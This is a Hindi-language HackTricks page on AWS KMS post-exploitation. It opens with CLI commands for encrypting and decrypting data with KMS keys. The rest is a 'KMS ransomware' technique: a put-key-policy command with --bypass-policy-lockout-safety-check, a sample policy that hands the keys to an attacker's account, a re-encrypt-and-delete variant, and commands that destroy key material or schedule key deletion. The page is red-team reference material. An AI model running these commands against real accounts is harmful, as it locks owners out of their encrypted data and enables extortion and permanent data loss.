AWS - KMS Post Exploitation

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

KMS

अधिक जानकारी के लिए जांचें:

pageAWS - KMS Enum

जानकारी एन्क्रिप्ट/डिक्रिप्ट करें

  • एक सममित कुंजी का उपयोग

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • एक विषमाकृत कुंजी का उपयोग:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS रैंसमवेयर

एक हमलावर जिसके पास KMS पर विशेषाधिकार हैं, वह कुंजियों की KMS नीति को संशोधित कर सकता है और उनके खाते को उनके ऊपर पहुंच दे सकता है, जिससे वैध खाते को दी गई पहुंच हटा दी जाएगी।

फिर, वैध खाते के उपयोगकर्ता उन कुंजियों से एन्क्रिप्ट की गई किसी भी सेवा की कोई भी जानकारी तक पहुंच नहीं पा सकेंगे, जिससे खाते पर एक आसान लेकिन प्रभावी रैंसमवेयर बनाया जा सकता है।

ध्यान दें कि AWS द्वारा प्रबंधित कुंजियाँ इस हमले से प्रभावित नहीं होती हैं, केवल ग्राहक द्वारा प्रबंधित कुंजियाँ

इस हमले को केवल CLI से ही संभव बनाने के लिए वेब कंसोल में इस विकल्प --bypass-policy-lockout-safety-check का उपयोग करने की आवश्यकता है (इस विकल्प की कमी वेब कंसोल में इस हमले को केवल CLI से ही संभव बनाती है)।

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

ध्यान दें कि यदि आप उस नीति को बदलते हैं और केवल एक बाहरी खाते को पहुंच देते हैं, और फिर इस बाहरी खाते से आप प्रारंभिक खाते को पहुंच देने की नई नीति सेट करने का प्रयास करते हैं, तो आप यह करने में सक्षम नहीं होंगे।

सामान्य KMS रैंसमवेयर

ग्लोबल KMS रैंसमवेयर

एक और तरीका है ग्लोबल KMS रैंसमवेयर का कार्यान्वयन करने के लिए, जिसमें निम्नलिखित चरण शामिल हो सकते हैं:

  • हमलावर द्वारा आयात किए गए कुंजी सामग्री के साथ एक नई कुंजी बनाएं

  • पिछले संस्करण से एन्क्रिप्ट किए गए पुराने डेटा को नए संस्करण के साथ पुनः एन्क्रिप्ट करें

  • KMS कुंजी को हटाएं

  • अब केवल हमलावर, जिसके पास मौलिक कुंजी सामग्री है, एन्क्रिप्ट किए गए डेटा को डिक्रिप्ट कर सकता है

कुंजी नष्ट करें

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

नोट करें कि AWS अब पूर्व क्रियाएँ एक क्रॉस अकाउंट से किए जाने वाले कार्रवाई को रोकता है:

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated